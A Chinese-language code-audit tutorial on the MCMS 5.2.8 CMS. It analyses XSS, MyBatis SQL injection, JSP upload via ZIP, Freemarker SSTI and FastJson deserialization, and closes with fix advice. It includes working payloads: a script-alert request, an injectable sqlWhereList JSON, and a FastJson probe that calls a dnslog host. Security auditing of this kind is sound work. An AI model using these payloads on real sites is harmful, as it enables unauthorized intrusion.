Java代码审计其一:MCMS 5.2.8
字数 1325 2025-08-11 08:36:04
MCMS 5.2.8 Java代码审计教学文档
1. 系统概述
MCMS 5.2.8是基于SpringBoot+MyBatis开发的CMS系统,已知存在以下漏洞类型:
- SQL注入
- 文件上传
- SSTI (Freemarker模板注入)
- FastJson反序列化漏洞
2. XSS漏洞分析
漏洞位置
前台搜索框存在反射型XSS漏洞
漏洞原理
- 搜索功能位于
/mcms/search.do - 当输入恶意内容时,系统会抛出异常并将输入内容直接拼接到报错页面
- 过滤逻辑位于
net/mingsoft/basic/filter/XssHttpServletRequestWrapper.java
关键代码
public String clean(String name, String content) {
String result = Jsoup.clean(content, "", whitelist, outputSettings);
result = Parser.unescapeEntities(result, true);
if (!content.equals(result) || !SqlInjectionUtil.isSqlValid(content)){
throw new BusinessException("参数异常:"+ content); // 直接拼接用户输入到报错信息
}
return content;
}
复现方法
POST /mcms/search.do HTTP/1.1
content_title=<script>alert('/xss/')</script>
3. SQL注入漏洞分析
漏洞原理
- MyBatis框架中使用了
${}进行SQL拼接 - 系统使用了
<include>标签复用SQL片段 - 关键注入点在
net/mingsoft/base/dao/IBaseDao.xml中的sqlWhere片段
漏洞位置
- ICategoryDao.xml
- ICmsHistoryLogDao.xml
- IContentDao.xml
关键代码
<sql id="sqlWhere" databaseId="mysql">
<if test="sqlWhereList != null">
<foreach collection="sqlWhereList" item="item" index="index" open="and( " separator=" " close=" )">
<if test="item.el == 'eq'">
<choose>
<when test="item.multiple != null and item.multiple == true">
FIND_IN_SET(#{item.value}, ${item.field})>0
</when>
<otherwise>
${item.field} = #{item.value}
</otherwise>
</choose>
</if>
利用链分析
- XML -> Interface -> Impl -> Controller -> 构造请求
- 关键类:
ICategoryDao接口BaseBizImpl实现类CategoryAction控制器
利用方法
- 构造
sqlWhereList参数,控制field字段 - 示例payload:
[{
"action":"and",
"field":"content_title",
"el":"eq",
"model":"contentTitle",
"name":"type":"input",
"value":"aaaaaaaaaaaaa"
}]
4. 文件上传漏洞分析
模板上传漏洞
- 路径:
/ms/file/uploadTemplate.do - 方法:打包JSP文件为ZIP上传
- 利用:上传后系统会自动解压,可直接访问上传的JSP文件
图片上传漏洞
- 路径:
/ms/file/upload.do - 方法:上传ZIP后调用解压接口
/ms/template/unZip.do
5. SSTI (Freemarker模板注入)
漏洞位置
- 自定义页面功能
- 关键类:
net\mingsoft\base\util\FtlUtil.java
修复建议
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
6. FastJson反序列化漏洞
漏洞位置
net/mingsoft/basic/action/web/EditorAction.java- 直接使用
JSONObject.parse(jsonConfig)解析用户输入
利用限制
- FastJson版本<=1.2.80
- 利用难度较高
示例payload
{
"@type":"java.lang.Exception",
"@type":"com.alibaba.fastjson.JSONException",
"x":{
"@type":"java.net.InetSocketAddress",
"address":"",
"val":"xxxxxxxx.dnslog.cn"
}
}
7. 审计总结
关键审计点
- MyBatis中
${}的使用 - 异常处理中的用户输入拼接
- 文件上传后的处理逻辑
- 模板引擎的安全配置
- JSON解析的安全性
修复建议
- 使用
#{}替代MyBatis中的${} - 对异常信息中的用户输入进行过滤
- 限制上传文件类型和解压路径
- 配置Freemarker的安全解析器
- 升级FastJson版本或使用其他JSON解析库
8. 参考资源
- MCMS官方issue: https://gitee.com/mingSoft/MCMS/issues/I61P5X
- FastJson安全公告
- Freemarker安全配置文档